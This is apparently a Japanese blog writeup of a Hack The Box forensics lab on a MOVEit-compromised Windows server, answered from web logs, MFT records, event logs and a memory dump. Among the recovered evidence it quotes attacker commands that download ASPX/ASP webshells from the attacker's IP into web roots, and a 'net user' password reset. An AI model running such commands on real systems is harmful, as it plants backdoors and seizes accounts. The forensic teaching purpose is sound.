はまやんはまやんはまやん

hamayanhamayan's blog

Hack The Box Sherlocks - i-like-to Writeup

https://app.hackthebox.com/sherlocks/i-like-to
Hack The Box Sherlocksとは

Sherlock Scenario

We have unfortunately been hiding under a rock and did not see the many news articles referencing the recent MOVEit CVE being exploited in the wild. We believe our Windows server may be vulnerable and has recently fallen victim to this compromise. We need to understand this exploit in a bit more detail and confirm the actions of the attacker & retrieve some details so we can implement them into our SOC environment. We have provided you with a triage of all the necessary artifacts from our compromised Windows server. PS: One of the artifacts is a memory dump, but we forgot to include the vmss file. You might have to go back to basics here...
残念ながら、私たちは岩の下に隠れていたため、実際に悪用されている最近の MOVEit CVE に言及する多くのニュース記事を目にすることができませんでした。当社では、当社の Windows サーバーに脆弱性がある可能性があり、最近この侵害の被害に遭ったと考えています。このエクスプロイトをもう少し詳しく理解し、攻撃者の行動を確認し、SOC 環境に実装できるように詳細を取得する必要があります。侵害された Windows サーバーから必要なすべてのアーティファクトを優先順位付けして提供しました。PS: アーティファクトの 1 つはメモリ ダンプですが、vmss ファイルを含めるのを忘れていました。ここで基本に立ち返る必要があるかもしれません...

メモリダンプとファストフォレンジックダンプが与えられる。

Task 1

Name of the ASPX webshell uploaded by the attacker?
攻撃者がアップロードした ASPX Web シェルの名前は?

ASPX webshellとのことなので、C:\inetpubを見てみるがwwwrootはない。
セオリー通りイベントログを漁るのに、hayabusaを使って.aspxでキーワード検索したがそれっぽいものはない。
解凍したファイル全体で.aspxを検索してみると
Triage\uploads\auto\C%3A\Users\moveitsvc.WIN-LR8T2EF8VHM.002\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtで興味深いログがあった。

cd C:\inetpub\wwwroot
wget http://10.255.254.3:9001/moveit.asp
dir
wget http://10.255.254.3:9001/moveit.asp -OutFile moveit.asp
dir
cd C:\MOVEitTransfer\wwwroot
wget http://10.255.254.3:9001/move.aspx -OutFile move.aspx

これですね。move.aspxが答え。

Task 2

What was the attacker's IP address?
攻撃者の IP アドレスは何でしたか?

Task 1を見ると分かる。10.255.254.3

Task 3

What user agent was used to perform the initial attack?
最初の攻撃の実行にはどのユーザー エージェントが使用されましたか?

Task 2で得たIOC10.255.254.3を使って検索してみる。
Triage\uploads\auto\C%3A\inetpub\logs\LogFiles\W3SVC2\u_ex230712.logにいい感じにアクセスログが残っていた。

2023-07-12 10:08:39 10.10.0.25 OPTIONS / - 80 - 10.255.254.3 - - 200 0 64 5375
2023-07-12 10:08:39 10.10.0.25 GET / - 80 - 10.255.254.3 - - 302 0 64 11023
2023-07-12 10:08:41 10.10.0.25 OPTIONS / - 443 - 10.255.254.3 - - 200 0 0 118
2023-07-12 10:08:41 10.10.0.25 GET / - 443 - 10.255.254.3 - - 200 0 64 5649
2023-07-12 10:11:15 10.10.0.25 OPTIONS / - 80 - 10.255.254.3 Mozilla/5.0+(compatible;+Nmap+Scripting+Engine;+https://nmap.org/book/nse.html) - 200 0 0 101
2023-07-12 10:11:15 10.10.0.25 GET /nmaplowercheck1689156596 - 80 - 10.255.254.3 Mozilla/5.0+(compatible;+Nmap+Scripting+Engine;+https://nmap.org/book/nse.html) - 404 0 2 128
2023-07-12 10:11:15 10.10.0.25 GET / - 80 - 10.255.254.3 Mozilla/5.0+(compatible;+Nmap+Scripting+Engine;+https://nmap.org/book/nse.html) - 302 0 0 135
...

2023-07-12 10:08:39が最初のコンタクトで、nmapを使ったスキャン行為が続いている。
nmapかと思ったがplaceholderに合わない。(後で分かるがTask 7でここは聞かれている)
プレースホルダーを考慮しながら読み進めるとRubyが答えだった。
攻撃が成功した段階のことを問うていたみたい。

Task 4

When was the ASPX webshell uploaded by the attacker?
ASPX Webシェルが攻撃者によってアップロードされたのはいつですか?

ファイル操作なので$MFTの解析をしてみよう。
ZimmermanToolsのMFTECmdでTriage\uploads\ntfs\%5C%5C.%5CC%3A\$MFTを変換して中を見てみよう。

PS> ZimmermanTools\MFTECmd.exe -f '.\Triage\uploads\ntfs\%5C%5C.%5CC%3A\$MFT' --csv mft.csv

みたいに変換して、

$ cat 20240107162638_MFTECmd_\$MFT_Output.csv | grep move.aspx
1293,31,True,274233,9,.\MOVEitTransfer\wwwroot,move.aspx,.aspx,1400,1,,False,False,False,False,False,False,Archive,Windows,2023-07-12 11:24:30.4297594,,2023-07-12 11:24:30.4610703,2023-07-12 11:24:30.4297594,2023-07-12 11:24:30.4610703,2023-07-12 11:24:30.4297594,2023-07-12 11:24:30.4610703,2023-07-12 11:24:30.4297594,1808772160,609836657,1248,,,
273810,17,True,276846,4,.\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\9a11d1d0\5debd404,move.aspx.cdcab7d2.compiled,.compiled,294,1,,False,False,False,False,False,False,Archive,Windows,2023-07-12 11:24:43.3828834,,2023-07-12 11:24:43.3828834,,2023-07-12 11:24:43.3828834,,2023-07-12 11:24:43.3828834,,1808776424,609859181,1287,,, 

csvの最初は
EntryNumber,SequenceNumber,InUse,ParentEntryNumber,ParentSequenceNumber,ParentPath,FileName,Extension,FileSize,ReferenceCount,ReparseTarget,IsDirectory,HasAds,IsAds,SI<FN,uSecZeros,,Copied,SiFlags,NameType,Created0x10,Created0x30,LastModified0x10,LastModified0x30,LastRecordChange0x10,LastRecordChange0x30,LastAccess0x10,LastAccess0x30,UpdateSequenceNumber,LogfileSequenceNumber,SecurityId,ObjectIdFileDroid,LoggedUtilStream,ZoneIdContents

最初のエントリをみると、.\MOVEitTransfer\wwwroot\move.aspxについて
Createdが2023-07-12 11:24:30とある。
よって12/07/2023 11:24:30が正答。

Task 5

The attacker uploaded an ASP webshell which didn't work, what is its filesize in bytes?
攻撃者は ASP WebShell をアップロードしましたが、機能しませんでした。そのファイルサイズはバイト単位でどれくらいですか?

Task 4と同じ所で見ることができると思ったが、FileSizeは1400と書いてある。
んーと思って試しにTask 1で得たファイル名 moveit.asp で検索してみると
placeholderと同じ2で終わるFileSizeが得られた。

$ cat 20240107162638_MFTECmd_\$MFT_Output.csv | grep moveit.asp
100896,6,True,274233,9,.\MOVEitTransfer\wwwroot,moveit.asp,.asp,1362,1,,False,False,False,False,False,True,Archive,DosWindows,2023-07-12 11:19:37.3316397,,2023-07-12 11:17:12.7120642,2023-07-12 11:19:37.3316397,2023-07-12 11:17:12.7120642,2023-07-12 11:19:37.3316397,2023-07-12 11:19:37.3316397,,1808725272,609575211,1936,,,
273729,50,True,265340,5,.\inetpub\wwwroot,moveit.asp,.asp,1362,1,,False,False,False,False,False,False,Archive,DosWindows,2023-07-12 11:17:12.6808372,,2023-07-12 11:17:12.7120642,2023-07-12 11:17:12.6808372,2023-07-12 11:17:12.7120642,2023-07-12 11:17:12.6808372,2023-07-12 11:17:12.7120642,2023-07-12 11:17:12.6808372,1808710920,609432138,1935,,,

1362を出すと正答だった。よく分からない。

Task 7

Which tool did the attacker use to initially enumerate the vulnerable server?
攻撃者は最初に脆弱なサーバーを列挙するためにどのツールを使用しましたか?

Task 3よりnmapが答え。

Task 8

We suspect the attacker may have changed the password for our service account. Please confirm the time this occurred (UTC)
攻撃者がサービス アカウントのパスワードを変更した可能性があると考えられます。これが発生した時刻 (UTC) を確認してください。

サービスアカウント?ということで後回しにしていると、Task 9でやったhayabusaを使ったキーワード検索にそれっぽいユーザー名が見えてくる。
MOVER\moveitsvc svc終わりなので、サービスアカウントっぽい。
moveitsvcでhayabusaを使ってキーワード検索してみよう。
沢山ログが出てくる。Task 3より2023-07-12 10:08:39が最初のコンタクトなので、それ以降でパスワードリセットっぽいものを探す。

"2023-07-12 20:09:27.864 +09:00","mover","Sec",4738,60771,"User account changed","AccountExpires: %%1794 ¦ AllowedToDelegateTo: - ¦ DisplayName: moveitsvc ¦ Dummy: - ¦ HomeDirectory: %%1793 ¦ HomePath: %%1793 ¦ LogonHours: %%1797 ¦ NewUacValue: 0x210 ¦ OldUacValue: 0x210 ¦ PasswordLastSet: 7/12/2023 3:09:27 AM ¦ PrimaryGroupId: 513 ¦ PrivilegeList: - ¦ ProfilePath: %%1793 ¦ SamAccountName: moveitsvc ¦ ScriptPath: %%1793 ¦ SidHistory: - ¦ SubjectDomainName: MOVER ¦ SubjectLogonId: 0x8d5ab ¦ SubjectUserName: moveitsvc ¦ SubjectUserSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TargetDomainName: MOVER ¦ TargetSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TargetUserName: moveitsvc ¦ UserAccountControl: - ¦ UserParameters: - ¦ UserPrincipalName: - ¦ UserWorkstations: %%1793","Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Security.evtx"
"2023-07-12 20:09:27.864 +09:00","mover","Sec",4724,60772,"Account password reset attempt","SubjectDomainName: MOVER ¦ SubjectLogonId: 0x8d5ab ¦ SubjectUserName: moveitsvc ¦ SubjectUserSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TargetDomainName: MOVER ¦ TargetSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TargetUserName: moveitsvc","Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Security.evtx"

この辺が該当する。どちらも同じ時刻で、UTCに変換して答えると正答。
12/07/2023 11:09:27

Task 9

Which protocol did the attacker utilize to remote into the compromised machine?
攻撃者は侵害されたマシンにリモートからアクセスするためにどのプロトコルを利用しましたか?

hayabusaで攻撃者のIPアドレスをキーワード検索すると分かる。

$ ./hayabusa-2.12.0-lin-x64-gnu search -d Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/ -k "10.255.254.3"
...

Timestamp ‖ Hostname ‖ Channel ‖ Event ID ‖ Record ID ‖ EventTitle ‖ AllFieldInfo ‖ EvtxFile
2023-07-12 19:08:29.384 +09:00 ‖ mover ‖ RDP-CoreTS ‖ 131 ‖ 10 ‖ - ‖ ClientIP: 10.255.254.3:34408 ¦ ConnType: TCP ‖ Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%254Operational.evtx
2023-07-12 19:11:14.980 +09:00 ‖ mover ‖ RDP-CoreTS ‖ 131 ‖ 23 ‖ - ‖ ClientIP: 10.255.254.3:56536 ¦ ConnType: TCP ‖ Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%254Operational.evtx
...

このようにRDPのログが残っているので、RDPが答え。

Task 10

Please confirm the date and time the attacker remotely accessed the compromised machine?
攻撃者が侵害されたマシンにリモート アクセスした日時を確認してください。

Task 9で取得したキーワード検索の結果に答えが含まれている。

2023-07-12 20:11:18.665 +09:00 ‖ mover ‖ Sec ‖ 4624 ‖ 60794 ‖ Logon success ‖ AuthenticationPackageName: Negotiate ¦ ElevatedToken: %%1843 ¦ ImpersonationLevel: %%1833 ¦ IpAddress: 10.255.254.3 ¦ IpPort: 0 ¦ KeyLength: 0   ¦ LmPackageName: -       ¦ LogonGuid: 00000000-0000-0000-0000-000000000000 ¦ LogonProcessName: User32  ¦ LogonType: 10 ¦ ProcessId: 0x7bc ¦ ProcessName: C:\Windows\System32\svchost.exe ¦ RestrictedAdminMode: %%1843 ¦ SubjectDomainName: HTB ¦ SubjectLogonId: 0x3e7 ¦ SubjectUserName: MOVER$ ¦ SubjectUserSid: S-1-5-18 ¦ TargetDomainName: MOVER ¦ TargetLinkedLogonId: 0x810079b ¦ TargetLogonId: 0x81007b8 ¦ TargetOutboundDomainName: - ¦ TargetOutboundUserName: - ¦ TargetUserName: moveitsvc ¦ TargetUserSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TransmittedServices: - ¦ VirtualAccount: %%1843 ¦ WorkstationName: MOVER ‖ Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Security.evtx 

この検索結果の時刻が答え。
いくつかLogon successのログはあるが、RDP経由であるLogonType: 10の最も遅い時刻のものがこれ。
UTCに直した12/07/2023 11:11:18が答え。

Task 11

What was the useragent that the attacker used to access the webshell?
攻撃者が Web シェルにアクセスするために使用したユーザー エージェントは何でしたか?

これまで確認しているTriage\uploads\auto\C%3A\inetpub\logs\LogFiles\W3SVC2\u_ex230712.logを見ればいい。
the webshellはmove.aspxのことなので、以下のログが関連している。

2023-07-12 11:24:43 10.10.0.25 GET /move.aspx - 443 - 10.255.254.3 Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0 - 200 0 0 1179
2023-07-12 11:24:47 10.10.0.25 POST /move.aspx - 443 - 10.255.254.3 Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0 https://moveit.htb/move.aspx 200 0 0 159

この時のUAが答え。
Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0

Task 12

What is the inst ID of the attacker?
攻撃者のインスタンス ID は何ですか?

inst ID?
と思ってキーワード検索してみるとinstIDでmoveit.sqlが出てくる。MOVEitで使われるIDのようだ。
moveit.sqlにありそうだなということで漁ってみると、以下のloghというテーブルでいい感じの情報がある。

--
-- Table structure for table `loglh`
--

DROP TABLE IF EXISTS `loglh`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `loglh` (
  `ID` bigint NOT NULL AUTO_INCREMENT,
  `InstID` int NOT NULL DEFAULT '0',
  `LastHash` varchar(128) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  PRIMARY KEY (`ID`),
  UNIQUE KEY `InstID` (`InstID`)
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb3;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `loglh`
--

LOCK TABLES `loglh` WRITE;
/*!40000 ALTER TABLE `loglh` DISABLE KEYS */;
INSERT INTO `loglh` VALUES (1,0,'4ADedxO6288H655hj2EnqvCCfq0WfLHu5PE5ijdDbs9cDqS9uPfElLnxiBFeXIuYSPsYWgdmOlM='),(2,3636,'4AD4rNWG1RIUJNkfEvZXgUmWJUz4SHogw+vYW1KXA9suqBx2WuDimMiisFpr6x+ACyKuZScneNR='),(3,1234,'4ABwQKpOanzdGxDp98e95Njhx0bgV4OI9pGyLErB9IVEELR8gPICBPYaeNamGDQC4X8cU5ba1bR=');
/*!40000 ALTER TABLE `loglh` ENABLE KEYS */;
UNLOCK TABLES;

番号が一番大きいものが最後に入った人、つまり攻撃者だろうという仮定(とplaceholderの一致)で
1234を答えると正答。

Task 13

What command was run by the attacker to retrieve the webshell?
Webシェルを取得するために攻撃者はどのコマンドを実行しましたか?

Triage\uploads\auto\C%3A\Users\moveitsvc.WIN-LR8T2EF8VHM.002\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtにある。
wget http://10.255.254.3:9001/move.aspx -OutFile move.aspxが答え。

Task 14

What was the string within the title header of the webshell deployed by the TA?
TA によってデプロイされた Web シェルのタイトル ヘッダー内の文字列は何ですか?

メモリダンプから抜き取る。
Volatility 3を使ったが失敗したので、単純にstringsとgrepで持ってきた。
(問題文にあったPS: アーティファクトの 1 つはメモリ ダンプですが、vmss ファイルを含めるのを忘れていました。ここで基本に立ち返る必要があるかもしれません...というのはそういうことか?)

strings -n 10 I-like-to-27a787c5.vmem | grep "<title>"をしてplaceholderに合いそうな感じで探してsubmit検証していくと
awen asp.net webshellが正解だった。

Task 15

What did the TA change the our moveitsvc account password to?
TA は moveitsvc アカウントのパスワードを何に変更しましたか?

Task 14と同様にメモリから持って来るんだろうと思い、strings -n 10 I-like-to-27a787c5.vmem | grep "moveitsvc"の出力結果を漁ると、良いヒットがある。

net user "moveitsvc" 5trongP4ssw0rd

これですね。5trongP4ssw0rdが答え。